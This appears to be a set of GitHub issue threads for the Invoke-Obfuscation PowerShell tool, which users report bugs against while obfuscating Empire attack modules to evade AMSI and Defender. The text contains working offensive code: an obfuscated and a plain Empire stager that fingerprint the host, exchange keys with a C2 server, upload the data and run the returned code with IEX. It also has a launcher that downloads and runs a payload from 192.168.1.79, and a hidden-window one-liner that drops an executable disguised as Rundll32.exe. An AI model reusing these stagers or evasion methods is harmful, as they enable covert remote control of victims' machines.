'ra','Ti','WIN32_NeTWO','o','f','RKAdapTERCon','IGu','N')|WHeRE{${_}."I`padDRe`Ss"}|SeLECT -ExPAnD ("{1}{2}{0}"-f 'S','IPADD','ReS'));${I`P} = @{${t`RUe}=${p}[0];${f`AlSE}=${P}}[${p}."LEng`TH" -Lt 6];iF(!${i`P} -or ${I`P}."t`Rim"() -Eq '') {${I`p}='0.0.0.0'};${i}+="|$ip";${i}+='|'+(GeT-WMIObjECT ("{3}{1}{0}{2}{4}" -f's','RATInGSy','te','WiN32_Ope','m'))."n`Ame"."SpL`it"('|')[0];if((  ( gET-vaRiAbLE  ("{0}{1}" -f '2ku9','AV') -VALUEOnLy)::"uSE`RNA`Me")."t`O`LoweR"() -eq "system"){${I}+="|True"}else {${I} += '|' +([Security.Principal.WindowsPrincipal]   ( GCI  ("{4}{1}{0}{2}{3}" -f 'aBlE:5','i','2','F6Z4','vAr') )."va`lUe"::"GeTcUR`R`ENT"())."isiNr`O`le"([Security.Principal.WindowsBuiltInRole] "Administrator")}${N}= ${r`Sj}::"geT`c`uRren`Tp`ROCEsS"();${i}+='|'+${n}."PROCES`SnA`ME"+'|'+${n}."iD";${I} += "|powershell|" + ${PS`Ve`RsiOn`T`AbLE}."ps`Ve`RsIoN"."MaJ`OR";${I`B2}=${e}."ge`TBYt`es"(${I});${e`B2}=${I`V}+${A`es}."crE`AT`e`EnCrY`Ptor"()."T`R`AnSformFiNA`Lb`LOCK"(${i`B2},0,${i`B2}."L`eNgth");${hm`Ac}."k`ey" = ${E}."G`E`TByTes"(${k`EY});${E`B2} = ${E`B2}+${hM`Ac}."cOmpUT`E`HaSh"(${E`B2})[0..9];${I`V2}=  ${h`4y`sF}::"G`etBYt`eS"($(Get-RaNDOM));${D`Ata2} = ${e}."GE`Tbyt`eS"(${i`d}) + @(0x01,0X03,0x00,0x00) +  ( GET-vArIabLe  ('H4y'+'SF')  -Valueo  )::"gE`T`ByTes"(${E`B2}."LE`N`GTh");${r`c4P2} = CoNvERTTO-RC4BYTEStrEam -RCK $(${I`V2}+${S`Kb}) -IN ${D`At`A2};${Rc`4p2} = ${I`V2} + ${r`C4`p2} + ${e`B2};if (${cU`sT`o`MheA`DErs} -ne "") {${Hea`DE`RS} = ${CUsto`mh`EAdERS} -SpLIT ',';${hea`derS} | ForEAcH-ObJECT {${HeA`Derk`EY} = ${_}."S`PLIt"(':')[0];${HeA`d`eRv`ALUE} = ${_}."s`Plit"(':')[1];${Wc}."HeaDE`RS"."A`dd"(${h`ea`d`eRKEY}, ${h`e`AD`eRVAlUe});}}${wC}."hE`A`derS"."a`Dd"("User-Agent",${U`A});${R`AW}=${W`C}."U`PL`oAddA`TA"(${s}+"/login/process.php","POST",${R`C4P2});IEX $( ${E}."gET`StrI`NG"($(DECRYpT-BYTes -KEy ${k`Ey} -In ${R`AW})) );${a`es}=${Nu`LL};${s2}=${N`ULL};${WC}=${N`ull};${E`B2}=${NU`ll};${R`AW}=${N`uLl};${iv}=${nu`LL};${W`c}=${n`ull};${i}=${nU`ll};${i`B2}=${N`Ull};  ( geT-vaRIaBLe  ("{1}{0}"-f 'c0A','j'))."VAL`ue"::"cO`Ll`eCt"();Invoke-Empire -Servers @((${S} -split "/")[0..2] -join "/") -StagingKey ${SK} -SessionKey ${K`Ey} -SessionID ${i`D};}Start-Negotiate -s "$ser" -SK '3c6e0b8a9c15224a8228b9a98ca1531d' -UA ${U};

I'll be doing some more research into this and see if I can get you some more output when the obfuscated script is actually executing. I thought I would go ahead and post to see if you are able to spot anything that stands out to you.

invoke obfuscation damage putty.bat file

good day sir , i was experimenting with invoke obfuscation. here is sample code below

PowerShell -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://the.earth.li/~sgtatham/putty/0.64/x86/putty.exe','%APPDATA%\Rundll32.exe');Start-Process '%APPDATA%\Rundll32.exe'
now when i save is as putty.bat and execute it works. now when i use invoke onfuscation, i followed all the steps from selecting encoding and defining scriptpath and using bxor encryption method and out the file by output and save it as puttynew.bat. it compiles smoothly. now i execute the obfuscated file and u see it stops executing putty. please can u run the test. you would see what am talking about.please any steps you took to get it working i apprecaite you help me , i want to understand d how it works. thanks

Out-ObfuscatedTokenCommand fails on 'HelpMessage' and 'ConfirmImpact' ParameterBindings

Problem

When Out-ObfuscatedTokenCommand.ps1 attempts to determine whether to '$EncapsulateAsScriptBlockInsteadOfParentheses', it misses the 'HelpMessage' and 'ConfirmImpact' ParameterBinding options.

I discovered this issue while attempting to obfuscate modules in the Empire project.

This error specifically was found while attempting to obfuscate Get-SPN.ps1, Invoke-EventVwrBypass.ps1, and Invoke-ShellCode.ps1.

Steps to reproduce

PS> git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
PS> wget https://github.com/adaptivethreat/Empire/raw/master/data/module_source/situational_awareness/network/Get-SPN.ps1
PS> wget https://github.com/adaptivethreat/Empire/raw/master/data/module_source/privesc/Invoke-EventVwrBypass.ps1
PS> wget https://github.com/adaptivethreat/Empire/raw/master/data/module_source/code_execution/Invoke-Shellcode.ps1
PS> Import-Module .\Invoke-Obfuscation\Invoke-Obfuscation.psm1

[*] Validating necessary commands are loaded into current PowerShell session.

[*] Function Loaded :: Out-ObfuscatedTokenCommand
[*] Function Loaded :: Out-ObfuscatedStringCommand
[*] Function Loaded :: Out-EncodedAsciiCommand
[*] Function Loaded :: Out-EncodedHexCommand
[*] Function Loaded :: Out-EncodedOctalCommand
[*] Function Loaded :: Out-EncodedBinaryCommand
[*] Function Loaded :: Out-SecureStringCommand
[*] Function Loaded :: Out-EncodedBXORCommand
[*] Function Loaded :: Out-PowerShellLauncher
[*] Function Loaded :: Invoke-Obfuscation

[*] All modules loaded and ready to run Invoke-Obfuscation

PS> Out-ObfuscatedTokenCommand -Path .\Get-SPN.ps1 | Out-File out
Obfuscating Get-SPN.ps1

[*] Obfuscating 27 Comment tokens.

[*] Obfuscating 69 String tokens.
Exception calling "Create" with "1" argument(s): "At line:14 char:21
+ ... HelpMessage=("{8}{12}{14}{1}{11}{13}{5}{10}{3}{0}{7}{4}{2}{6}{9}{15}" ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:19 char:21
+ ... HelpMessage=("{8}{11}{5}{9}{2}{0}{1}{10}{4}{6}{7}{3}"-f 'r Domain','  ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
(errors continue)

The error message makes it pretty clear that there is a problem with the 'HelpMessage' ParameterBinding.
The other two files show a similar error message, but for the 'ConfirmImpact' ParameterBinding.

Reducing the Get-SPN.ps1 file to this minified version still reproduces the error.

function Get-SPN
{   
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory=$false,
        HelpMessage="Credentials to use when connecting to a Domain Controller.")]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty

    )
}

Solution

It seems that these are similar issues to the one described in the source here.

# For Parameter Binding the value has to either be plain concatenation or must be a scriptblock in which case we will encapsulate with {} instead of ().
# The encapsulation will occur later in the function. At this point we're just setting the boolean variable $EncapsulateAsScriptBlockInsteadOfParentheses.
# Actual error that led to this is: "Attribute argument must be a constant or a script block."
# ALLOWED     :: [CmdletBinding(DefaultParameterSetName={"{1}{0}{2}"-f'd','DumpCre','s'})]
# NOT ALLOWED :: [CmdletBinding(DefaultParameterSetName=("{1}{0}{2}"-f'd','DumpCre','s'))]

The only difference being that it is for 'HelpMessage' and 'ConfirmImpact' instead of 'DefaultParameterSetName'.

The code that follow this explanation seems to only cover the case of 'DefaultParameterSetName'.

$SubStringStart = 30
If($Token.Start -lt $SubStringStart)
{
	$SubStringStart = $Token.Start
}
	
$SubString = $ScriptString.SubString($Token.Start-$SubStringStart,$SubStringStart).ToLower()
If($SubString.Contains('parametersetname') -AND $SubString.Contains('='))
{
	$EncapsulateAsScriptBlockInsteadOfParentheses = $TRUE
}

Replacing that code with the following code remediates the issue for 'HelpMessage' and 'ConfirmImpact'. (Though, maybe some work should be done to determine if others should join this list.)

$LastEndBracketIndex = $ScriptString.LastIndexOf(']', $Token.Start)
$LastBeginBracketIndex = $ScriptString.LastIndexOf('[', $Token.Start)
$LastEndParenIndex = $ScriptString.LastIndexOf(')', $Token.Start)
$LastBeginParenIndex = $ScriptString.LastIndexOf('(', $Token.Start)

If($LastBeginBracketIndex -gt $LastEndBracketIndex -AND $LastBeginParenIndex -gt $LastEndParenIndex)
{
	$LastCommaIndex = $ScriptString.LastIndexOf(',', $Token.Start)
	$BeginSubStringIndex = [math]::max($LastBeginBracketIndex, $LastCommaIndex)
	$ScriptSubString = $ScriptString.SubString($BeginSubStringIndex, $Token.Start-$BeginSubStringIndex).ToLower()

	If(($ScriptSubString.Contains('parametersetname') -OR $ScriptSubString.Contains('confirmimpact') -OR $ScriptSubString.Contains('helpmessage')) -AND $ScriptSubString.Contains('='))
	{
		$EncapsulateAsScriptBlockInsteadOfParentheses = $TRUE
	}
}

This is also a more systematic way of grabbing the ParameterBinding option's name, as opposed to assuming a length of the attribute itself.

May fail on non-ENUS windows installations

Hi Daniel,

Thanks for this awesome project!

One of the 'scrambling' option uses char index of $Env:Public to compose 'IEX':
$InvokeExpressionSyntax += $InvocationOperator + "( $env:Public[13]+$env:Public[5]+'x')"
the problem is, that
on ENUS $Env:Public resolves to "C:\Users\Public" ->IEX
on ITIT it resolves to "C:\Profili\Public" -> BOX

so the encode commands get an 1inN chance to not be working on non-ENUS windows.

Malware in your code.

root@kali:~/Downloads/Invoke-Obfuscation-master# clamscan -v -i
Scanning /root/Downloads/Invoke-Obfuscation-master/Invoke-Obfuscation.psd1
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-EncodedAsciiCommand.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-EncodedOctalCommand.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-PowerShellLauncher.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/README.md
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-EncodedBXORCommand.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-SecureStringCommand.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-EncodedWhitespaceCommand.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/LICENSE
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-CompressedCommand.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-EncodedHexCommand.ps1
/root/Downloads/Invoke-Obfuscation-master/Out-EncodedHexCommand.ps1: Win.Downloader.WannaMine-6442440-2 FOUND
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-ObfuscatedTokenCommand.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/Invoke-Obfuscation.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-EncodedBinaryCommand.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/Invoke-Obfuscation.psm1
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-ObfuscatedAst.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-ObfuscatedStringCommand.ps1
Scanning /root/Downloads/Invoke-Obfuscation-master/Out-EncodedSpecialCharOnlyCommand.ps1

----------- SCAN SUMMARY -----------
Known viruses: 6257036
Engine version: 0.101.2
Scanned directories: 1
Scanned files: 18
Infected files: 1
Data scanned: 2.07 MB
Data read: 1.29 MB (ratio 1.61:1)
Time: 46.536 sec (0 m 46 s)

obfuscated output truncated

Hello,

I try to obfuscate a remotely-hosted script, and use the
'''powershell
SET SCRIPTPATH http://....../myscript.ps1
'''

then i use the TOKEN menu and all seems doing well, but when the obfuscated output is displayed, it seems truncated (obvisously).

My question is how to get the ouptut not truncated and redirected to a specified file?

Best regards

Out-ObfuscatedCommandArgumentTokenLevel3 should treat filter names like function names

Problem

The Out-ObfuscatedCommandArgumentTokenLevel3 treats function names as special CommandArgument tokens that can't be concatenated. I believe that filters should be treated the same way.

I discovered this issue while attempting to obfuscate modules in the Empire project.

This error specifically was found while attempting to obfuscate powerview.ps1

Steps to reproduce

PS> git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
PS> wget https://github.com/adaptivethreat/Empire/raw/master/data/module_source/situational_awareness/network/powerview.ps1
PS> Import-Module .\Invoke-Obfuscation\Invoke-Obfuscation.psm1

[*] Validating necessary commands are loaded into current PowerShell session.

[*] Function Loaded :: Out-ObfuscatedTokenCommand
[*] Function Loaded :: Out-ObfuscatedStringCommand
[*] Function Loaded :: Out-EncodedAsciiCommand
[*] Function Loaded :: Out-EncodedHexCommand
[*] Function Loaded :: Out-EncodedOctalCommand
[*] Function Loaded :: Out-EncodedBinaryCommand
[*] Function Loaded :: Out-SecureStringCommand
[*] Function Loaded :: Out-EncodedBXORCommand
[*] Function Loaded :: Out-PowerShellLauncher
[*] Function Loaded :: Invoke-Obfuscation

[*] All modules loaded and ready to run Invoke-Obfuscation

PS> Out-ObfuscatedTokenCommand -Path .\powerview.ps1 | Out-File out
Obfuscating powerview.ps1

[*] Obfuscating 747 Comment tokens.
[*]             600 Comment tokens remaining to obfuscate.
[*]             500 Comment tokens remaining to obfuscate.
[*]             400 Comment tokens remaining to obfuscate.
[*]             300 Comment tokens remaining to obfuscate.
[*]             200 Comment tokens remaining to obfuscate.
[*]             100 Comment tokens remaining to obfuscate.

[*] Obfuscating 1990 String tokens.
[*]             1800 String tokens remaining to obfuscate.
[*]             1700 String tokens remaining to obfuscate.
[*]             1600 String tokens remaining to obfuscate.
[*]             1500 String tokens remaining to obfuscate.
[*]             1400 String tokens remaining to obfuscate.
[*]             1300 String tokens remaining to obfuscate.
[*]             1200 String tokens remaining to obfuscate.
[*]             1100 String tokens remaining to obfuscate.
[*]             1000 String tokens remaining to obfuscate.
[*]              900 String tokens remaining to obfuscate.
[*]              800 String tokens remaining to obfuscate.
[*]              700 String tokens remaining to obfuscate.
[*]              600 String tokens remaining to obfuscate.
[*]              500 String tokens remaining to obfuscate.
[*]              400 String tokens remaining to obfuscate.
[*]              300 String tokens remaining to obfuscate.
[*]              200 String tokens remaining to obfuscate.
[*]              100 String tokens remaining to obfuscate.

[*] Obfuscating 531 Argument tokens.
[*]             400 Argument tokens remaining to obfuscate.
[*]             300 Argument tokens remaining to obfuscate.
[*]             200 Argument tokens remaining to obfuscate.
[*]             100 Argument tokens remaining to obfuscate.
Exception calling "Create" with "1" argument(s): "At line:445 char:7
+ filter ("{0}{2}{1}{3}{4}"-f 'E','t-','xpor','PowerViewCS','V') {
+       ~
Missing name after filter keyword.
(errors continue)

The error message makes it pretty clear that there is a problem with the obfuscated filter name.

The powerview.ps1 file makes use of filters extensively.

Solution

It seems that the issue is that filter names should be treated as a special case, just like function names.

The following code:

# Function name declarations are CommandArgument tokens that cannot be obfuscated with concatenations.
# For these we will obfuscated them with ticks because this changes the string from AMSI's perspective but not the final functionality.
If($ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('function'))
{
	$ScriptString = Out-ObfuscatedWithTicks $ScriptString $Token
	Return $ScriptString
}

becomes:

# Function name declarations are CommandArgument tokens that cannot be obfuscated with concatenations.
# For these we will obfuscated them with ticks because this changes the string from AMSI's perspective but not the final functionality.
# This is also true of the 'filter' keyword
If($ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('function') -or $ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('filter'))
{
	$ScriptString = Out-ObfuscatedWithTicks $ScriptString $Token
	Return $ScriptString
}

This fixed the issue for me.

PowerShell/Pklotide.A Detected in Onedrive

Hi,

Im getting error in Onedrive/AV detecting PowershellPKlotide.A in:
Out-PowerShellLauncher.ps1

Cant find more information where or which part of the script it is detecting.

Is this normal behaviour or have any information which part might get detected as malicious? :)

Contains Virus

Windows Defender altered me that this code contains Splitfuse.C. Don't download unless you're equipped to deal with some viruses.

Exclude function names from token randomization

PSParser.Tokenize() treats function name literals as CommandArgument tokens. This causes the TOKEN\ARGUMENT\1 (Random Case) routine to quote the function name, incidentally invalidating function definitions.

Suggested way of avoiding this is to exclude CommandArgument tokens in Out-ObfuscatedTokenCommand from random quoting if the preceding token is the function keyword

The cmdlet does not start

Issue running Invoke-Obfuscation

  1. I instantiate Windows Server 2019 Datacenter from Amazon AWS EC2.
  2. I install git and git clone the repository to the Administrator's Documents folder.
  3. I navigate to the new folder. I issue the commands as per the repository's README.md.

Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

  1. I get the following warning:

The term 'Invoke-Obfuscation' is not recognized as the name of a cmdlet, function, script file,
or operable program.

  1. I change the documented command to include the local path. .\

No warning but nothing happens.

PS C:\Users\Administrator\Documents> cd Invoke-Obfuscation
PS C:\Users\Administrator\Documents\Invoke-Obfuscation> Import-Module ./Invoke-Obfuscation.psd1
PS C:\Users\Administrator\Documents\Invoke-Obfuscation> Invoke-Obfuscation
Invoke-Obfuscation : The term 'Invoke-Obfuscation' is not recognized as the name of a cmdlet, function, script file,
or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ Invoke-Obfuscation
+ ~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Invoke-Obfuscation:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException


Suggestion [3,General]: The command Invoke-Obfuscation was not found, but does exist in the current location. Windows PowerShell does not load commands from the current location by default. If you trust this command, instead type: ".\Invoke-Obfuscation". See "get-help about_Command_Precedence" for more details.
PS C:\Users\Administrator\Documents\Invoke-Obfuscation> .\Invoke-Obfuscation
PS C:\Users\Administrator\Documents\Invoke-Obfuscation> :(

"Invoke-Obfuscation.ps1" file code error.

when i choose encoding options 5 then show this error when i choose another number show this error but second error code line (1264) was changed, how to solve it?

Invoke-Obfuscation\Encoding> 5
MethodInvocationException: /home/siam/redteam/Invoke-Obfuscation/Invoke-Obfuscation.ps1:1178
Line |
1178 | โ€ฆ $ObfCommandScriptBlock = $ExecutionContext.InvokeCommand. โ€ฆ
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| Exception calling "NewScriptBlock" with "1" argument(s): "At line:1 char:503 + โ€ฆ
| Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +
| ~ The string is missing the terminator: ". At line:1 char:503 + โ€ฆ
| Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +
| ~ Unexpected token '" ' in expression or statement."

Out-SecureStringCommand: /home/siam/redteam/Invoke-Obfuscation/Invoke-Obfuscation.ps1:1264
Line |
1264 | โ€ฆ reStringCommand -ScriptBlock $ObfCommandScriptBlock -PassTh โ€ฆ
| ~~~~~~~~~~~~~~~~~~~~~~
| Cannot validate argument on parameter 'ScriptBlock'. The argument is null or
| empty. Provide an argument that is not null or empty, and then try the command
| again.

Accepts scriptpath, but won't encode

Thank you for this project.

I have used it a few times successfully, but now when I attempt to do any obfuscating, I am getting:

ERROR: Cannot execute obfuscation commands without setting ScriptPath or ScriptBlock values in SHOW OPTIONS menu. Set these by executing SET SCRIPTBLOCK script_block_or_command or SET SCRIPTPATH path_to_script_or_URL.

despite:

Successfully set ScriptPath:
c:\users\user\desktop\code.ps1

and:

Invoke-Obfuscation\Encoding> show options

SHOW OPTIONS :: Yellow options can be set by entering SET OPTIONNAME VALUE.

[*] ScriptPath : c:\users\user\desktop\code.ps1
[*] ScriptBlock:
[*] CommandLineSyntax: Invoke-Obfuscation -ScriptPath 'c:\users\user\desktop\code.ps1'
[*] ExecutionCommands:
[*] ObfuscatedCommand:
[*] ObfuscationLength:

I download/unpack the latest zip and (re-)import the module. I'm on Win10.

Any ideas?

Thanks.

Defender Windows problem

I'm generating script in PowerShell Empire. Many times tried to do obfuscation code with different keys but every time Defender Windows 4.18.1807.18075 detected my code as Trojan: Win32 / armsitaper, https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Trojan%3aWin32%2fAmsiTamper.A!ams&threatid=2147728399&enterprise=0 . Maybe there is some nuance in ofscale code? Is there a solution to this problem? I want to clarify that the detection occurs during the execution of the script.

Feature request: Shortening

It would be pretty rad to shorten powershell commands to as short as humanly possible, for things like hak5 duckies, memorizing commands, or doing redteams when one has only a very short amount of time at an unattended terminal to whack out a short, memorized command.

My intention here is to take something like the demo you give in your presentations, and shorten it to as short as possible.

String TOKEN $ContainsVariableSpecialCase obfuscation issue

Problem

Based on comments, it seems you are already aware of issues surrounding string tokens containing embedded variables:

# If a variable is present in a string, more work needs to be done to extract from string. Warning maybe should be thrown either way.
# Must come back and address this after vacation.
# Variable can be displaying or setting: "setting var like $($var='secret') and now displaying $var"
# For now just split on whitespace instead of passing to Out-Concatenated

Hope you are currently enjoying that vacation :)

I found an issue where one of these special string token cases lost it's surrounding double quotes during String token obfuscation, causing it to be interpreted as a Command token in subsequent obfuscation operations. This causes errors during execution of the final obfuscated script, but no errors during obfuscation.

I discovered this issue while obfuscating the powerview Empire module(s).

Example

This line is the culprit in the Empire powerview code.
Here is a reduced example:

PS> Invoke-Obfuscation -ScriptBlock {$DN = "DC=$($Domain.Replace(',', ',DC='))"} -Command 'Token\String\2' -Quiet


Outputting ObfuscatedCommand to stdout and exiting since -Command was specified and -NoExit was not specified:

$DN = DC=$($Domain.Replace(',', ',DC='))

You might be able to spot the problem. The encapsulating double quotes around the string token are lost. This causes subsequent obfuscation operations to interpret this string as a command token:

PS> Invoke-Obfuscation -ScriptBlock {$DN = "DC=$($Domain.Replace(',', ',DC='))"} -Command 'Token\String\2,Token\Command\3' -Quiet


Outputting ObfuscatedCommand to stdout and exiting since -Command was specified and -NoExit was not specified:

$DN = &((("{4}{1}{3}{2}{6}{7}{8}{5}{9}{0}{10}"-f '=','Re','0},','place({','DC={1}({1}Domain.',',D','{','0}, {0','}','C',
'{0}))'))-F  [ChAr]39,[ChAr]36)

This obviously then causes problem during execution of the resulting script:

PS> $DN = &((("{4}{1}{3}{2}{6}{7}{8}{5}{9}{0}{10}"-f '=','Re','0},','place({','DC={1}({1}Domain.',',D','{','0}, {0','}','C','{0}))'))-F  [ChAr]39,[ChAr]36)
& : The term 'DC=$($Domain.Replace(',', ',DC='))' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try
again.
At line:1 char:8
+ $DN = &((("{4}{1}{3}{2}{6}{7}{8}{5}{9}{0}{10}"-f '=','Re','0},','plac ...
+        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (DC=$($Domain.Replace(',', ',DC=')):String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

Solution

I was able to identify the section of code that was removing the double quotes, and made an exception for these $ContainsVariableSpecialCases:

# If a variable is present in a string, more work needs to be done to extract from string. Warning maybe should be thrown either way.
# Must come back and address this after vacation.
# Variable can be displaying or setting: "setting var like $($var='secret') and now displaying $var"
# For now just split on whitespace instead of passing to Out-Concatenated
$ContainsVariableSpecialCases = $False
...
    # For Parameter Binding the value has to either be plain concatenation or must be a scriptblock in which case we will encapsulate with {} instead of ().
    # Actual error that led to this is: "Attribute argument must be a constant or a script block."
    # ALLOWED     :: [CmdletBinding(DefaultParameterSetName={"{1}{0}{2}"-f'd','DumpCre','s'})]
    # NOT ALLOWED :: [CmdletBinding(DefaultParameterSetName=("{1}{0}{2}"-f'd','DumpCre','s'))]
    If($EncapsulateAsScriptBlockInsteadOfParentheses)
    {
        $ObfuscatedToken = '{' + $ObfuscatedToken + '}'
    }
    ElseIf(($ObfuscatedToken.Length -eq $TokenContent.Length + 5) -AND $ObfuscatedToken.SubString(2,$ObfuscatedToken.Length-4) -eq ($TokenContent + ' '))
    {
        If($ContainsVariableSpecialCases) {
            $ObfuscatedToken = '"' + $TokenContent +'"'
        }
        Else {
            $ObfuscatedToken = $TokenContent
        }
    }
    ElseIf
...

Several LAUNCHER obfuscation types not working for a particular script in v1.6

Problem

Several of the LAUNCHER obfuscation techniques are failing for a particular script. The actual obfuscation process produces no errors, but the script does not execute properly once obfuscated. Specifically, all of the LAUNCHER techniques with a '+' are not working for this script, while PS, CMD, and WMIC are working just fine.

I discovered this issue while trying to obfuscate stagers produced by the Empire project.

Steps to Reproduce

PS> git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
PS> Import-Module ./Invoke-Obfuscation/Invoke-Obfuscation.psd1

The contents of the file to be obfuscated: (named "launcher" in this example)

[SysteM.NEt.SErvIcEPOintMaNAgEr]::ExPect100ContINue = 0;
$wc=New-OBJEct SystEM.NeT.WEBCLIent;
$K='`m!.GWr&tX>+ZIVa=L^}S#:x2bz{3gC\';
$I=0;
[ChAr[]]$b=([cHAr[]]($wc.DowNLoAdStRiNG("http://192.168.1.79:8080/index.asp")))|%{$_-bXoR$k[$i++%$K.LeNgtH]};
IEX ($b-jOIn'')

This script is a slightly modified/simplified version of an Empire launcher stager.

The Empire stager script that is downloaded via the DownloadString function in the previous script is an encrypted version of this script: (Sorry, no simplification here, but I don't think this script is relevant to the issue)

FUnctIoN StArt-NeGotiAte{param($s,$SK,$UA="lol")AdD-TYpe -AsSembLy SYsTEM.SECurItY;ADd-TYpE -assemBLY SysTEm.CORE;$ErrorActionPreference = "SilentlyContinue";$e=[SysTEM.TeXT.ENcOdING]::ASCII;$AES=NEw-OBjEct SyStEM.SEcuritY.CryPtogrAPHY.AEsCryptoSeRvIcEProVIdER;$IV = [bYte] 0..255 | GeT-RanDOm -COUNT 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($SK); $AES.IV = $IV;$cSP = NEw-OBJEct SYStem.SEcURiTy.CRyptOgraPhy.CsPPARaMeTERS;$CsP.FLAgs = $csP.FLAgs -BoR [SyStem.SecUriTy.CrypToGraPHy.CSpPRoViDerFlAgS]::UsEMaCHINEKeYSTore;$Rs = New-OBJECt SYSTeM.SeCuRiTY.CryptoGRAPhY.RSACRypToSeRVICePROvidEr -ARguMENTLIsT 2048,$Csp;$rK=$Rs.ToXMLSTrING($FaLSe);$r=1..16|FOREAcH-ObJEcT{Get-RAndOM -Max 26};$ID=('ABCDEFGHKLMNPRSTUVWXYZ123456789'[$r] -joiN '');$Ib=$e.GetBYTeS($rk);$Eb=$IV+$AES.CReaTEEnCRYptor().TRANSFOrmFiNALBLOCK($iB,0,$IB.LENgTh);if(-NoT $wc){$wC=NEw-oBJECT systeM.neT.WeBCLIEnt;$wc.ProxY = [SYstEM.NeT.WEbReQuesT]::GETSYStEmWebProxY();$WC.PROxY.CredEntIAlS = [SyStEm.NEt.CReDEnTIALCaChe]::DeFaULTCrEdENTIAls;}$wc.Headers.Add("User-Agent",$UA);$wc.Headers.Add("Cookie","SESSIONID=$ID");$raw=$wc.UploadData($s+"index.jsp","POST",$eb);$dE=$E.GEtSTRIng($Rs.DEcRYPt($Raw,$faLSe));$Epoch=$dE[0..9] -JOIn'';$key=$De[10..$de.LENGTh] -JOin '';$AES=NEw-OBjecT SYstem.SeCUriTY.CryptOGRapHY.AeSCrypToServicEPROVIDEr;$IV = [bYTE] 0..255 | GeT-RaNdOm -COUNT 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($key); $AES.IV = $IV;$i=$s+'|'+[EnViRoNmEnt]::USeRDOMAInNAme+'|'+[ENVIRONmenT]::USeRNamE+'|'+[EnViroNment]::MaChineName;$p=(GWMi Win32_NEtwoRKADAPTeRCOnfIgURATion|WheRE{$_.IPADdREsS}|SeleCt -EXPanD IPADdReSS);$ip = @{$truE=$P[0];$fAlSe=$p}[$P.LEngtH -lT 6];if(!$IP -Or $Ip.TRiM() -eq '') {$iP='0.0.0.0'};$i+="|$ip";$I+='|'+(GeT-WMIObJECt WIn32_OPEraTINgSYstem).NAME.SPLIT('|')[0];if(([Environment]::UserName).ToLower() -eq "system"){$i+='|True'}else {$i += "|" +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}$n=[SystEM.DIagnoSTICS.PRoCess]::GetCurRENtPRocEss();$I+='|'+$N.PRocEssNaME+'|'+$N.ID;$i += '|' + $PSVersiOnTabLE.PSVErSIon.MAJOr;$Ib2=$e.geTbyTEs($I);$eB2=$IV+$AES.CrEaTEEncRyPtOR().TRAnSfORMFiNALBlOcK($IB2,0,$IB2.LEnGTh);$wc.Headers.Add("User-Agent",$UA);$raw=$wc.UploadData($s+"index.php","POST",$eb2);$AES=NeW-OBjeCt SYSTEM.SEcuRity.CRypTOGRapHy.AESCrYptOSerVicEPRovidEr;$AES.Mode="CBC";$IV = $RaW[0..15];$AES.KEy=$E.GETBYtEs($kEy);$AES.IV = $IV;IEX $([SYStEM.Text.EnCODInG]::ASCII.GeTSTRING( $($AES.CreATEDecRyPtoR().TrANSfoRMFiNAlBLoCK($RAw[16..$rAw.LengTh],0,$rAW.LengTH-16))));$AES=$NuLL;$S2=$null;$wc=$NUll;$EB2=$nUll;$Raw=$NuLl;$IV=$Null;$wC=$nuLl;$I=$Null;$ib2=$NulL;[GC]::COlLEcT();Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -SessionKey $key -SessionID $ID -Epoch $epoch;} Start-Negotiate -s "http://192.168.1.79:8080/" -SK '`m!.GWr&tX>+ZIVa=L^}S#:x2bz{3gC\' -UA $u;

Then, obfuscate the script: (Same error for all LAUNCHER types with a '+', also same error for several powershell argument combinations I have tried)

